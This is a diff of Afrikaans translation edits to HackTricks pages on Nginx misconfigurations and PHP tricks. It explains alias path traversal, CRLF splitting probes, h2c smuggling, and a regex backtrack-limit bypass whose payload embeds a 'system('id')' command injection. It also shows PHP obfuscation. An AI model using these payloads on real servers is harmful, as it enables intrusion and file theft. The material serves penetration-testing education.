**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Ontbrekende wortel ligging <a href="#missing-root-location" id="missing-root-location"></a>
|
## Ontbrekende wortel ligging <a href="#missing-root-location" id="missing-root-location"></a>
|
||||||
|
|
||||||
Wanneer jy die Nginx-bediener konfigureer, speel die **wortelrigting** 'n kritieke rol deur die basisgids te definieer waaruit lêers bedien word. Oorweeg die onderstaande voorbeeld:
|
Wanneer jy die Nginx-bediener konfigureer, speel die **wortelrigting** 'n kritieke rol deur die basisgids te definieer waaruit lêers bedien word. Oorweeg die voorbeeld hieronder:
|
||||||
```bash
|
```bash
|
||||||
server {
|
server {
|
||||||
root /etc/nginx;
|
root /etc/nginx;
|
||||||
|
@ -36,19 +36,19 @@ proxy_pass http://127.0.0.1:8080/;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
In hierdie konfigurasie is `/etc/nginx` as die wortelgids aangewys. Hierdie opstelling laat toegang tot lêers binne die gespesifiseerde wortelgids toe, soos `/hello.txt`. Dit is egter van kardinale belang om te noem dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen konfigurasie vir die wortel ligging nie (`location / {...}`). Hierdie omissie beteken dat die wortelriglyn globaal van toepassing is, wat versoeke na die wortelpunt `/` toelaat om lêers onder `/etc/nginx` te benader.
|
In hierdie konfigurasie is `/etc/nginx` as die wortelgids aangewys. Hierdie opstelling laat toegang tot lêers binne die gespesifiseerde wortelgids toe, soos `/hello.txt`. Dit is egter belangrik om te noem dat slegs 'n spesifieke ligging (`/hello.txt`) gedefinieer is. Daar is geen konfigurasie vir die wortel ligging nie (`location / {...}`). Hierdie omissie beteken dat die wortelriglyn globaal van toepassing is, wat versoeke na die wortelpad `/` toelaat om lêers onder `/etc/nginx` te benader.
|
||||||
|
|
||||||
'n Kritieke sekuriteitsoorweging ontstaan uit hierdie konfigurasie. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx konfigurasielêer wat geleë is by `/etc/nginx/nginx.conf` te bedien. Om die wortel na 'n minder sensitiewe gids, soos `/etc`, in te stel, kan hierdie risiko verminder, maar dit mag steeds onbedoelde toegang tot ander kritieke lêers, insluitend ander konfigurasielêers, toeganglogs en selfs versleutelde akrediteerings wat vir HTTP basiese outentisering gebruik word, toelaat.
|
'n Kritieke sekuriteitsoorweging ontstaan uit hierdie konfigurasie. 'n Eenvoudige `GET` versoek, soos `GET /nginx.conf`, kan sensitiewe inligting blootstel deur die Nginx konfigurasielêer wat geleë is by `/etc/nginx/nginx.conf` te bedien. Om die wortel na 'n minder sensitiewe gids, soos `/etc`, in te stel, kan hierdie risiko verminder, maar dit mag steeds onbedoelde toegang tot ander kritieke lêers, insluitend ander konfigurasielêers, toeganglogs en selfs versleutelde akrediteerings wat vir HTTP basiese outentisering gebruik word, toelaat.
|
||||||
|
|
||||||
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
|
||||||
|
|
||||||
In die konfigurasielêers van Nginx is 'n noukeurige inspeksie van die "location" riglyne nodig. 'n Kwessie bekend as Local File Inclusion (LFI) kan per ongeluk ingevoer word deur 'n konfigurasie wat soos die volgende lyk:
|
In die konfigurasielêers van Nginx is 'n noukeurige inspeksie van die "location" riglyne nodig. 'n Kwetsbaarheid bekend as Local File Inclusion (LFI) kan per ongeluk ingevoer word deur 'n konfigurasie wat soos die volgende lyk:
|
||||||
```
|
```
|
||||||
location /imgs {
|
location /imgs {
|
||||||
alias /path/images/;
|
alias /path/images/;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Hierdie konfigurasie is geneig tot LFI-aanvalle weens die bediener wat versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te bekom, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout laat aanvallers toe om lêers van die bediener se lêerstelsel te verkry wat nie via die web toeganklik behoort te wees nie.
|
Hierdie konfigurasie is geneig tot LFI-aanvalle weens die bediener wat versoeke soos `/imgs../flag.txt` interpreteer as 'n poging om lêers buite die bedoelde gids te benader, wat effektief oplos na `/path/images/../flag.txt`. Hierdie fout laat aanvallers toe om lêers van die bediener se lêerstelsel te verkry wat nie via die web toeganklik behoort te wees nie.
|
||||||
|
|
||||||
Om hierdie kwesbaarheid te verminder, moet die konfigurasie aangepas word na:
|
Om hierdie kwesbaarheid te verminder, moet die konfigurasie aangepas word na:
|
||||||
```
|
```
|
||||||
|
@ -82,7 +82,7 @@ deny all;
|
||||||
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
|
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Onveilige veranderlike gebruik / HTTP Versoek Splitsing <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
## Onveilige gebruik van veranderlikes / HTTP Versoek Splitsing <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Kwetsbare veranderlikes `$uri` en `$document_uri` en dit kan reggestel word deur dit te vervang met `$request_uri`.
|
Kwetsbare veranderlikes `$uri` en `$document_uri` en dit kan reggestel word deur dit te vervang met `$request_uri`.
|
||||||
|
@ -91,7 +91,7 @@ Kwetsbare veranderlikes `$uri` en `$document_uri` en dit kan reggestel word deur
|
||||||
|
|
||||||
`location ~ /docs/([^/])? { … $1 … }` - Kwetsbaar 
|
`location ~ /docs/([^/])? { … $1 … }` - Kwetsbaar 
|
||||||
|
|
||||||
`location ~ /docs/([^/\s])? { … $1 … }` - Nie kwesbaar nie (kontroleer spasies)
|
`location ~ /docs/([^/\s])? { … $1 … }` - Nie kwesbaar nie (kontroleer spaties)
|
||||||
|
|
||||||
`location ~ /docs/(.*)? { … $1 … }` - Nie kwesbaar nie
|
`location ~ /docs/(.*)? { … $1 … }` - Nie kwesbaar nie
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -114,7 +114,7 @@ Detectify: clrf
|
||||||
```
|
```
|
||||||
Leer meer oor die risiko's van CRLF-inspuiting en antwoordsplitsing by [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
Leer meer oor die risiko's van CRLF-inspuiting en antwoordsplitsing by [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
|
||||||
|
|
||||||
Ook hierdie tegniek is [**verduidelik in hierdie praatjie**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) met 'n paar kwesbare voorbeelde en opsporingsmeganismes. Byvoorbeeld, om hierdie verkeerde konfigurasie vanuit 'n swartdoos perspektief op te spoor, kan jy hierdie versoeke gebruik:
|
Ook hierdie tegniek is [**verduidelik in hierdie praatjie**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) met 'n paar kwesbare voorbeelde en opsporingsmeganismes. Byvoorbeeld, om hierdie miskonfigurasie vanuit 'n swartdoos perspektief op te spoor, kan jy hierdie versoeke gebruik:
|
||||||
|
|
||||||
* `https://example.com/%20X` - Enige HTTP-kode
|
* `https://example.com/%20X` - Enige HTTP-kode
|
||||||
* `https://example.com/%20H` - 400 Bad Request
|
* `https://example.com/%20H` - 400 Bad Request
|
||||||
|
@ -148,7 +148,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
||||||
```
|
```
|
||||||
### Enige veranderlike
|
### Enige veranderlike
|
||||||
|
|
||||||
Daar is ontdek dat **gebruikersgeleverde data** onder sekere omstandighede as 'n **Nginx veranderlike** beskou kan word. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie ongewoon of eenvoudig om te verifieer nie. Hierdie anomalie is in 'n sekuriteitsverslag op HackerOne beklemtoon, wat hier [beskou](https://hackerone.com/reports/370094) kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifikasie van sy voorkoms binne die [SSI-filtermodule van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wat Server Side Includes (SSI) as die worteloorsaak aandui.
|
Daar is ontdek dat **gebruikersgeleverde data** onder sekere omstandighede as 'n **Nginx veranderlike** behandel kan word. Die oorsaak van hierdie gedrag bly ietwat ontwykend, maar dit is nie ongewoon of eenvoudig om te verifieer nie. Hierdie anomalie is in 'n sekuriteitsverslag op HackerOne beklemtoon, wat [hier](https://hackerone.com/reports/370094) beskou kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifikasie van sy voorkoms binne die [SSI-filtermodule van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), wat Server Side Includes (SSI) as die oorsaak identifiseer.
|
||||||
|
|
||||||
Om **hierdie miskonfigurasie te ontdek**, kan die volgende opdrag uitgevoer word, wat behels om 'n referer-kop te stel om vir veranderlike druk te toets:
|
Om **hierdie miskonfigurasie te ontdek**, kan die volgende opdrag uitgevoer word, wat behels om 'n referer-kop te stel om vir veranderlike druk te toets:
|
||||||
```bash
|
```bash
|
||||||
|
@ -158,7 +158,7 @@ Scans vir hierdie miskonfigurasie oor stelsels het verskeie gevalle onthul waar
|
||||||
|
|
||||||
## Rau backend respons lees
|
## Rau backend respons lees
|
||||||
|
|
||||||
Nginx bied 'n kenmerk deur `proxy_pass` wat die onderskepping van foute en HTTP-koppe wat deur die backend geproduseer word, moontlik maak, met die doel om interne foutboodskappe en koppe te verberg. Dit word bereik deurdat Nginx pasgemaakte foutbladsye dien in reaksie op backend-foute. Uitdagings ontstaan egter wanneer Nginx 'n ongeldige HTTP-versoek teëkom. So 'n versoek word na die backend gestuur soos ontvang, en die backend se rau respons word dan direk aan die kliënt gestuur sonder Nginx se tussenkoms.
|
Nginx bied 'n funksie deur middel van `proxy_pass` wat die onderskepping van foute en HTTP-koppe wat deur die backend geproduseer word, moontlik maak, met die doel om interne foutboodskappe en koppe te verberg. Dit word bereik deurdat Nginx pasgemaakte foutbladsye dien in reaksie op backend-foute. Uitdagings ontstaan egter wanneer Nginx 'n ongeldige HTTP-versoek teëkom. So 'n versoek word na die backend gestuur soos ontvang, en die backend se rau respons word dan direk aan die kliënt gestuur sonder Nginx se tussenkoms.
|
||||||
|
|
||||||
Overweeg 'n voorbeeldscenario wat 'n uWSGI-toepassing betrek:
|
Overweeg 'n voorbeeldscenario wat 'n uWSGI-toepassing betrek:
|
||||||
```python
|
```python
|
||||||
|
@ -174,14 +174,14 @@ proxy_intercept_errors on;
|
||||||
proxy_hide_header Secret-Header;
|
proxy_hide_header Secret-Header;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Hierdie riglyn stel Nginx in staat om 'n pasgemaakte antwoord te dien vir agtergrond-antwoorde met 'n statuskode groter as 300. Dit verseker dat, vir ons voorbeeld uWSGI-toepassing, 'n `500 Error` antwoord onderskep en hanteer word deur Nginx.
|
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Hierdie riglyn stel Nginx in staat om 'n pasgemaakte antwoord te bedien vir agtergrond antwoorde met 'n statuskode groter as 300. Dit verseker dat, vir ons voorbeeld uWSGI-toepassing, 'n `500 Error` antwoord onderskep en hanteer word deur Nginx.
|
||||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Soos die naam aandui, verberg hierdie riglyn gespesifiseerde HTTP-koptekste van die kliënt, wat privaatheid en sekuriteit verbeter.
|
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Soos die naam aandui, verberg hierdie riglyn gespesifiseerde HTTP-koptekste van die kliënt, wat privaatheid en sekuriteit verbeter.
|
||||||
|
|
||||||
Wanneer 'n geldige `GET` versoek gemaak word, verwerk Nginx dit normaalweg, en keer 'n standaard foutantwoord terug sonder om enige geheime koptekste te onthul. 'n Ongeldige HTTP-versoek omseil egter hierdie meganisme, wat lei tot die blootstelling van rou agtergrond-antwoorde, insluitend geheime koptekste en foutboodskappe.
|
Wanneer 'n geldige `GET` versoek gemaak word, verwerk Nginx dit normaalweg, en keer 'n standaard foutantwoord terug sonder om enige geheime koptekste te onthul. 'n Ongeldige HTTP-versoek omseil egter hierdie meganisme, wat lei tot die blootstelling van rou agtergrond antwoorde, insluitend geheime koptekste en foutboodskappe.
|
||||||
|
|
||||||
## merge\_slashes op af
|
## merge\_slashes op af
|
||||||
|
|
||||||
Standaard is Nginx se **`merge_slashes` riglyn** op **`aan`** gestel, wat verskeie voorwaartse skuinsstrepies in 'n URL in 'n enkele skuinsstreep saampers. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in toepassings agter Nginx verberg, veral dié wat geneig is tot plaaslike lêerinvoeging (LFI) aanvalle. Sekuriteitskenners **Danny Robinson en Rotem Bar** het die potensiële risiko's wat met hierdie standaardgedrag geassosieer word, beklemtoon, veral wanneer Nginx as 'n omgekeerde proxy optree.
|
Standaard is Nginx se **`merge_slashes` riglyn** op **`aan`** gestel, wat verskeie vorentoe-skuinslyne in 'n URL in 'n enkele skuinslyn saampers. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in toepassings agter Nginx verberg, veral dié wat geneig is tot plaaslike lêerinvoeging (LFI) aanvalle. Sekuriteitskenners **Danny Robinson en Rotem Bar** het die potensiële risiko's wat met hierdie standaardgedrag geassosieer word, beklemtoon, veral wanneer Nginx as 'n omgekeerde proxy optree.
|
||||||
|
|
||||||
Om sulke risiko's te verminder, word dit aanbeveel om die **`merge_slashes` riglyn af te skakel** vir toepassings wat vatbaar is vir hierdie kwesbaarhede. Dit verseker dat Nginx versoeke aan die toepassing deurgee sonder om die URL-struktuur te verander, en dus nie enige onderliggende sekuriteitskwessies te verberg nie.
|
Om sulke risiko's te verminder, word dit aanbeveel om die **`merge_slashes` riglyn af te skakel** vir toepassings wat vatbaar is vir hierdie kwesbaarhede. Dit verseker dat Nginx versoeke aan die toepassing deurgee sonder om die URL-struktuur te verander, en dus nie enige onderliggende sekuriteitskwessies te verberg nie.
|
||||||
|
|
||||||
|
@ -191,7 +191,7 @@ Vir meer inligting, kyk na [Danny Robinson en Rotem Bar](https://medium.com/apps
|
||||||
|
|
||||||
Soos getoon in [**hierdie skrywe**](https://mizu.re/post/cors-playground), is daar sekere koptekste wat, indien teenwoordig in die antwoord van die webbediener, die gedrag van die Nginx-proxy sal verander. Jy kan hulle [**in die dokumentasie**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/) nagaan:
|
Soos getoon in [**hierdie skrywe**](https://mizu.re/post/cors-playground), is daar sekere koptekste wat, indien teenwoordig in die antwoord van die webbediener, die gedrag van die Nginx-proxy sal verander. Jy kan hulle [**in die dokumentasie**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/) nagaan:
|
||||||
|
|
||||||
* `X-Accel-Redirect`: Dui aan Nginx aan om 'n versoek intern na 'n gespesifiseerde ligging te herlei.
|
* `X-Accel-Redirect`: Dui aan Nginx om 'n versoek intern na 'n gespesifiseerde ligging te herlei.
|
||||||
* `X-Accel-Buffering`: Beheer of Nginx die antwoord moet buffere of nie.
|
* `X-Accel-Buffering`: Beheer of Nginx die antwoord moet buffere of nie.
|
||||||
* `X-Accel-Charset`: Stel die karakterstel vir die antwoord in wanneer X-Accel-Redirect gebruik word.
|
* `X-Accel-Charset`: Stel die karakterstel vir die antwoord in wanneer X-Accel-Redirect gebruik word.
|
||||||
* `X-Accel-Expires`: Stel die vervaldatum vir die antwoord in wanneer X-Accel-Redirect gebruik word.
|
* `X-Accel-Expires`: Stel die vervaldatum vir die antwoord in wanneer X-Accel-Redirect gebruik word.
|
||||||
|
@ -230,11 +230,11 @@ resolver 8.8.8.8;
|
||||||
```
|
```
|
||||||
### **`proxy_pass` en `internal` Direktiewe**
|
### **`proxy_pass` en `internal` Direktiewe**
|
||||||
|
|
||||||
Die **`proxy_pass`** direktief word gebruik om versoeke na ander bedieners te herlei, hetsy intern of ekstern. Die **`internal`** direktief verseker dat sekere plekke slegs binne Nginx toeganklik is. Alhoewel hierdie direktiewe nie kwesbaarhede op hul eie is nie, vereis hul konfigurasie noukeurige ondersoek om sekuriteitsfoute te voorkom.
|
Die **`proxy_pass`** direktief word gebruik om versoeke na ander bedieners te herlei, hetsy intern of ekstern. Die **`internal`** direktief verseker dat sekere plekke slegs binne Nginx toeganklik is. Alhoewel hierdie direktiewe nie kwesbaarhede op hul eie is nie, vereis hul konfigurasie sorgvuldige ondersoek om sekuriteitsfoute te voorkom.
|
||||||
|
|
||||||
## proxy\_set\_header Upgrade & Connection
|
## proxy\_set\_header Upgrade & Connection
|
||||||
|
|
||||||
As die nginx bediener geconfigureer is om die Upgrade en Connection headers oor te dra, kan 'n [**h2c Smuggling aanval**](../../pentesting-web/h2c-smuggling.md) uitgevoer word om toegang te verkry tot beskermde/internale eindpunte.
|
As die nginx bediener geconfigureer is om die Upgrade en Connection headers oor te dra, kan 'n [**h2c Smuggling aanval**](../../pentesting-web/h2c-smuggling.md) uitgevoer word om toegang te verkry tot beskermde/intern eindpunte.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Hierdie kwesbaarheid sou 'n aanvaller in staat stel om **'n direkte verbinding met die `proxy_pass` eindpunt te vestig** (`http://backend:9999` in hierdie geval) waarvan die inhoud nie deur nginx gaan nagegaan word nie.
|
Hierdie kwesbaarheid sou 'n aanvaller in staat stel om **'n direkte verbinding met die `proxy_pass` eindpunt te vestig** (`http://backend:9999` in hierdie geval) waarvan die inhoud nie deur nginx gaan nagegaan word nie.
|
||||||
|
@ -261,7 +261,7 @@ deny all;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Let daarop dat selfs al was die `proxy_pass` op 'n spesifieke **pad** soos `http://backend:9999/socket.io` gemik, die verbinding sal gevestig word met `http://backend:9999` sodat jy **enige ander pad binne daardie interne eindpunt kan kontak. Dit maak nie saak of 'n pad in die URL van proxy\_pass gespesifiseer is nie.**
|
Let daarop dat selfs al was die `proxy_pass` op 'n spesifieke **pad** soos `http://backend:9999/socket.io` gewys, die verbinding sal gevestig word met `http://backend:9999` sodat jy **enige ander pad binne daardie interne eindpunt kan kontak. Dit maak nie saak of 'n pad in die URL van proxy\_pass gespesifiseer is nie.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Probeer dit self
|
## Probeer dit self
|
||||||
|
@ -288,9 +288,9 @@ Nginxpwner is 'n eenvoudige hulpmiddel om te soek na algemene Nginx-miskonfigura
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om voorregte te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# PHP Tricks
|
# PHP Tricks
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
@ -116,7 +116,7 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
|
||||||
|
|
||||||
#### **Lengte fout omseiling**
|
#### **Lengte fout omseiling**
|
||||||
|
|
||||||
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie op PHP 7.3.15 laat werk nie)\
|
(Die omseiling is blykbaar op PHP 5.2.5 probeer en ek kon dit nie laat werk op PHP 7.3.15)\
|
||||||
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk** nie en jy sal in staat wees om die **kontrole te omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
|
As jy `preg_match()` 'n geldige baie **groot invoer** kan stuur, **sal dit nie in staat wees om dit te verwerk** nie en jy sal in staat wees om die **kontrole te omseil**. Byvoorbeeld, as dit 'n JSON swartlys, kan jy stuur:
|
||||||
```bash
|
```bash
|
||||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||||
|
@ -132,14 +132,14 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||||
In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas.
|
In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas.
|
||||||
|
|
||||||
[Hierdie Stackoverflow draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
|
[Hierdie Stackoverflow draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
|
||||||
**Stuur 'n invoer wat die regex 100\_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie laat terugkeer `false` en dus die aansoek laat dink dat ons invoer nie kwaadwillig is nie, wat die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` laat wees om SSTI --> RCE --> vlag :)**.
|
**Stuur 'n invoer wat die regex 100\_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie `false` laat teruggee, wat die aansoek laat dink dat ons invoer nie kwaadwillig is nie, en die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` om SSTI --> RCE --> vlag :)**.
|
||||||
|
|
||||||
Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sê, standaard op 1\_000\_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\
|
Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sê, standaard op 1\_000\_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\
|
||||||
Om dit te bereik, sal `'X'*500_001` 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe) oplewer:
|
Om dit te bereik, sal `'X'*500_001` lei tot 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe):
|
||||||
```python
|
```python
|
||||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||||
```
|
```
|
||||||
### Tipe Juggling vir PHP obfuscation
|
### Tipe Juggling vir PHP obfuskerings
|
||||||
```php
|
```php
|
||||||
$obfs = "1"; //string "1"
|
$obfs = "1"; //string "1"
|
||||||
$obfs++; //int 2
|
$obfs++; //int 2
|
||||||
|
@ -152,7 +152,7 @@ $obfs += ""; //int 7
|
||||||
```
|
```
|
||||||
## Execute After Redirect (EAR)
|
## Execute After Redirect (EAR)
|
||||||
|
|
||||||
As PHP na 'n ander bladsy herlei, maar geen **`die`** of **`exit`** funksie word **na die kop `Location`** gestel nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:
|
As PHP na 'n ander bladsy herlei, maar geen **`die`** of **`exit`** funksie is **na die kop `Location`** gestel nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
// In this page the page will be read and the content appended to the body of
|
// In this page the page will be read and the content appended to the body of
|
||||||
|
